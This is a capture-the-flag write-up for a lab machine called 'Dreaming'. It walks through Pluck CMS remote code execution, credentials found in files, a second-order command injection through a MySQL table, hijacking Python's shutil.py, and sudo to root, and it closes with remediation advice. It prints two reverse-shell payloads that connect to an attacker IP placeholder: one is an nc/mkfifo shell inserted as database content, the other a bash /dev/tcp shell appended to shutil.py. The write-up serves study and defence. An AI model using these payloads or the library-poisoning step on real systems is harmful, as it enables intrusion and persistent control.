Target IP: dreaming.thm (Requires /etc/hosts entry) Difficulty: Medium Objective: User (lucien, death, morpheus) & Root flags.

1. Executive Summary

“Dreaming” is a Linux machine hosting a vulnerable Pluck CMS instance. Initial access is gained by exploiting an Authenticated Remote Code Execution (RCE) vulnerability in Pluck CMS after identifying weak credentials. Lateral movement through multiple users involves:

  1. Lucien: Credential discovery in /opt.
  2. Death: Command Injection via a MySQL Database (Second-Order Injection).
  3. Morpheus: Python Library Hijacking (shutil.py) triggered by a scheduled task.
  4. Root: Abusing sudo privileges.

Key TTPs (MITRE ATT&CK):

  • T1190 (Exploit Public-Facing App): Pluck CMS RCE.
  • T1552 (Unsecured Credentials): Finding passwords in /opt scripts.
  • T1059 (Command and Scripting Interpreter): SQL Injection leading to Command Execution.
  • T1574.007 (Hijack Execution Flow: Path Interception): Modifying Python standard libraries to exploit scripts importing them.

2. Operational Setup

Host Configuration

echo "10.10.x.x dreaming.thm" | sudo tee -a /etc/hosts

3. Enumeration & Initial Access

A. Network Scanning

  • 22/tcp (SSH): OpenSSH 8.2p1.
  • 80/tcp (HTTP): Apache.

B. Pluck CMS Exploitation

The web server runs Pluck CMS 4.7.13. This version allows authenticated users to upload arbitrary files (RCE).

  1. Login: You used the credentials admin:password.
  2. Exploit: Using CVE-2020-29607 or manual upload via the admin panel.
  3. Result: Shell as www-data.

4. Lateral Movement 1: www-data -> Lucien

Enumeration

Once inside, you explored the filesystem.

  • Files: In /opt, you found test.py (or test.sh in history).
  • Content: This file contained credentials for the user lucien.
  • User: lucien
  • Password: lucienHeyLucien#@1999!

Access

su lucien
# Password: lucienHeyLucien#@1999!

5. Lateral Movement 2: Lucien -> Death

Enumeration

Checking sudo privileges for Lucien:

sudo -l
# (death) NOPASSWD: /usr/bin/python3 /home/death/getDreams.py

This means lucien can execute getDreams.py as the user death.

Analysis: Second-Order Command Injection

You cannot edit getDreams.py, but you can influence its input.

  1. The Script: getDreams.py connects to a MySQL database and prints the “dreams”.
  2. The Flaw: The script likely uses a function like os.system() or subprocess.call(shell=True) to print the dreams. If the content of the dream contains shell commands, they will execute when the script prints them.
  3. The Attack: You have the DB password (lucien42DBPASSWORD) from .bash_history. You can insert a malicious “dream” into the database.

Exploitation

  1. Connect to DB:
mysql -u lucien -p'lucien42DBPASSWORD' -D library
  1. Inject Payload: We insert a subshell command $() as the dream content.
INSERT INTO dreams (dreamer, dream) VALUES ('Hacker', '$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.YOUR.IP 9001 >/tmp/f)');
  1. Trigger: Run the script as death to fetch and “print” (execute) the payload.
# Listener on attacker machine: nc -lvnp 9001
sudo -u death /usr/bin/python3 /home/death/getDreams.py

Status: Shell as death.


6. Lateral Movement 3: Death -> Morpheus (The “Magic”)

Enumeration

As death, you found you had write access to a very sensitive location: /usr/lib/python3.8/shutil.py.

  • Standard Behavior: Typically, only root can modify standard libraries.
  • Misconfiguration: On this box, death (or a group death is in) has write permissions to this file.

The Vulnerability: Library Hijacking

You noticed a file restore.py in morpheus’s home directory (via ls -la /home/morpheus or later discovery).

# restore.py
from shutil import copy2 as backup
...

Because restore.py imports shutil, Python loads /usr/lib/python3.8/shutil.py. If we poison shutil.py, any script on the system that imports it will execute our code.

Exploitation

  1. Poison the Library: We append a reverse shell to the top of shutil.py.
# Note: Use a different port than the previous shell
echo "import os;os.system(\"bash -c 'bash -i >& /dev/tcp/10.10.YOUR.IP/6969 0>&1'\")" >> /usr/lib/python3.8/shutil.py
  1. The Trigger (Cron): You didn’t run restore.py yourself. A Cron Job running as morpheus executes restore.py periodically.
  2. Catch the Shell: You waited with nc -lvnp 6969. When the cron job ran, it imported your poisoned shutil library, executed the reverse shell, and connected back to you.

Status: Shell as morpheus.


7. Privilege Escalation: Morpheus -> Root

Enumeration

This was the easy part.

sudo -l
# (ALL) NOPASSWD: ALL

Exploitation

sudo su

Status: Root access.


8. Remediation (Blue Team)

  1. File Permissions (Critical):
  • Standard library directories (/usr/lib/python*) must never be writable by non-root users. This breaks the security model of the entire OS.
  • Fix: chown -R root:root /usr/lib/python3.8 and chmod -R 755 /usr/lib/python3.8.
  1. Code Security:
  • getDreams.py should not use os.system or shell-invoking functions to process database content. Use standard print() or parameterized outputs.
  1. Credential Management:
  • Rotate passwords found in plaintext files (/opt/test.py).
  • Clear .bash_history to prevent leaking MySQL passwords.
  1. Database Privileges:
  • The lucien user should typically only have SELECT permissions if they don’t need to insert data, reducing the risk of Second-Order Injection.